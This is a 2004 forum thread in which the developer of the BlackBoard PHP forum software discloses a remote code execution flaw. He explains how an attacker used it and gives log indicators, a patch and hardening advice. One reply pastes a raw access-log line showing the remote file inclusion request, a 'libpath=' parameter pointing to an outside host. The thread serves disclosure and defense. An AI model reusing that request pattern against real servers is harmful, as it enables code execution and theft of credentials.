Not logged in. · Lost password · Register
Forum: News and announcements RSS
Security Vulnerability – Analysed
Reply
Avatar
Reply · Quote Yves (Administrator) #1
User title: UNB developer & webmaster
Member since Jan 2004 · 3740 posts · Location: Erlangen, Germany
Group memberships: Administrators, Members
Show profile · Link to this post
Subject: Security Vulnerability – Analysed
OK folks, I have just finished my analysis of what happened regarding BlackBoard's latest security vulnerability, and I feel I needed to inform you about that. Here's the last announcement.

There is a security vulnerability in the BlackBoard code up to version 1.5.1-g. The problem is fixed from patch level 1.5.1-h on and in the development version of 2004-10-06 and newer. The vuln allowed arbitrary code execution in BlackBoard's context. I'm currently working on improving the (already stable) protection to prevent similar problems in the future.

I have tracked my server logs and found that the Chinese hacker already found the bug on Oct 02 at 14h in his local time and exploited it on this server. He was able to store his own PHP file on this domain and he used it to inspect the PHP&Apache configuration and explore the filesystem environment. He was also able to read the board's configuration file which contains sensitive password information. All passwords are of course changed now. His exploit script has at least file list/view/edit/delete capabilities. But what worries me a bit is that he visited the "Show your board" threads afterwards and followed two of the given links. He didn't spend much time on the sites though. But there is a chance he might also have tried that out on other BlackBoard installations. So it is strongly recommended to upgrade your board to the latest patch level. I estimate the risk that he may have damaged something as relatively small, concerning he has published his found later and didn't exploit other of my boards or seemed to do any explicit harm on my server (as far as that is actually possible from my PHP's perspective).

He published the security report on Oct 06 to several security-related mailing lists, without even feeling in need to notify me about the issue. The patch was then available some hours after that document release (and about 30 minutes after I got notice of it).

So how can you check if he also visited your website?
Here's the relevant data with that you should be able to check your server or board access logs for his visit:
IP: 218.5.144.146
Date: 2004-10-02 08:00 to 09:30 (these are my times) +0200
Most likely requested filenames contain these strings:
    ?libpath=
    cracklove.php
User agent: "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322)"
Browser language: zh-cn

What should you do if he was there?
Since he proved he was able to read the board's configuration file and any other file a PHP script in this context has read access to, you should assume all sensitive access data accessible from this context compromised. That is, you should at least change the database and e-mail SMTP password the board uses to avoid any consequences in this concern.

How can you generally protect your server from similar exploits?
For PHP, you should really disable the error reporting on production sites. Set "error_reporting = 0" in your php.ini file. If you don't have access to this file, the PHP comment error_reporting(0); does the same. This suppresses any error output upon a programme failure which may expose sensitive information about your application to a potential hacker. Additionally, the PHP setting "allow_url_fopen" can be set to Off to gain a little more security for this class of holes. But this may lead to your applications not working correctly anymore, so please first check this for compatibility in your environment. I'm currently over checking BlackBoard's compatibility to it.
♪ ...nanananah, all in all we’re just brilliant thieves, nanananah... ♪♬
Avatar
Reply · Quote Philipp Gérard #2
User title: axtis developer team
Member since Sep 2004 · 60 posts · Location: Bremen, Germany
Group memberships: Members
Show profile · Link to this post
2004-10-02    08:37:16    218.5.144.146    view_forum 0 ()    IE    zh-cn

No problem, uhm?  :-/
Avatar
Reply · Quote Yves (Administrator) #3
User title: UNB developer & webmaster
Member since Jan 2004 · 3740 posts · Location: Erlangen, Germany
Group memberships: Administrators, Members
Show profile · Link to this post
That may be only a normal page visit, as I said he followed some of the links, but didn't seem to stay long. You should also check your server access log for the mentioned criteria. (Philipp, bitte schreib mich später mal direkt an, falls du nochwas finden solltest.)

Additional note: Don't rely too much on the IP address for that search. He may have used a different proxy, though I haven't found this particular IP address on his proxy list.

Also, since there don't seem to be many people who already noticed these announcements, I highly recommend subscribing to the site RSS feed  (http://blackboard.unclassified.de/rss.php). It's the only way to reach all BlackBoard users since there's no newsletter function on this board yet and I wouldn't reach guests or people not active on this board with it. I think I'll need to include a note on this somewhere else on the site, too.
♪ ...nanananah, all in all we’re just brilliant thieves, nanananah... ♪♬
This post was edited on 2004-10-08, 12:28 by Yves.
Avatar
Reply · Quote spaceman #4
Member since Sep 2004 · 295 posts
Group memberships: Members
Show profile · Link to this post
Does that mean I've to replace ALL the files contained in patch-h? Coz I'll have to re-apply all the modifications I made before this, and I'm afraid that I can't recall all of that, then I'll miss something in the end...

P/s: Maybe u can tell me which files are modified & should be replaced?

Thank u very much!
BlackBoard > FUDForum > Invision > phpBB2
This post was edited on 2004-10-08, 16:12 by spaceman.
Avatar
Reply · Quote Yves (Administrator) #5
User title: UNB developer & webmaster
Member since Jan 2004 · 3740 posts · Location: Erlangen, Germany
Group memberships: Administrators, Members
Show profile · Link to this post
No, as stated here, you only need to upload the bb_lib/.htaccess file. This single new file already offers full protection from this exploit (provided your webserver supports .htaccess files, as all Apaches do).

But you'll get problems upgrading the board anyway when you cannot remember your mods because at latest for the next version you'll need to replace almost all files. ;) There's no simple patching of some functions for a new version...
♪ ...nanananah, all in all we’re just brilliant thieves, nanananah... ♪♬
Avatar
Reply · Quote spaceman #6
Member since Sep 2004 · 295 posts
Group memberships: Members
Show profile · Link to this post
That's why I'm now wondering if I should upgrade to newer version...
Anyway I'll try to track down the modifications slowly and by the time a newer version is released, I'll be able to upgrade, hopefully ;-)

Thanks in advance!!
BlackBoard > FUDForum > Invision > phpBB2
Avatar
Reply · Quote Philipp Gérard #7
User title: axtis developer team
Member since Sep 2004 · 60 posts · Location: Bremen, Germany
Group memberships: Members
Show profile · Link to this post
For public reasons:

218.5.144.146 - - [02/Oct/2004:08:38:18 +0200] "GET /2/forums/bb_lib/checkdb.inc.php?libpath=http://warezsky.com/ HTTP/1.1" 200 473 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322)"

 :finger: Bad boy, but thank's for reporting the bugs  ;-)
This post was edited on 2004-10-08, 16:54 by Philipp Gérard.
Avatar
Reply · Quote Yves (Administrator) #8
User title: UNB developer & webmaster
Member since Jan 2004 · 3740 posts · Location: Erlangen, Germany
Group memberships: Administrators, Members
Show profile · Link to this post
Yes, shame on me. :'( :wand:
I have finally changed my version release plan now to do an entire code review very soon and bring out the next version afterwards. Could be next weekend already. Any new features will be in another 1.5.x version then. If you'd like to take a look at what's coming a lot sooner now, read this.

And I have found some following attacks to my board in the logs, but this time to no success. The .htaccess solution already does a good job. But it seems some script kiddies have now found the BugTraq posting and like to play a bit. :-/ The easiest way to find possible break-in attempts is to search for "libpath=" in the access log.
♪ ...nanananah, all in all we’re just brilliant thieves, nanananah... ♪♬
Close Smaller – Larger + Reply to this post:
Verification code: VeriCode Please note the verification code from the picture into the text field next to it.
Smileys: :-) ;-) :-D :-p :blush: :cool: :rolleyes: :huh: :-/ <_< :-( :'( :#: :scared: 8-( :nuts: :-O
Special characters:
Reply
Go to forum
This board is powered by the Unclassified NewsBoard software, 20100516-dev, © 2003-10 by Yves Goergen
Page created in 308 ms (248 ms) · 83 database queries in 180 ms
Current time: 2010-07-30, 10:43:57 (UTC +02:00)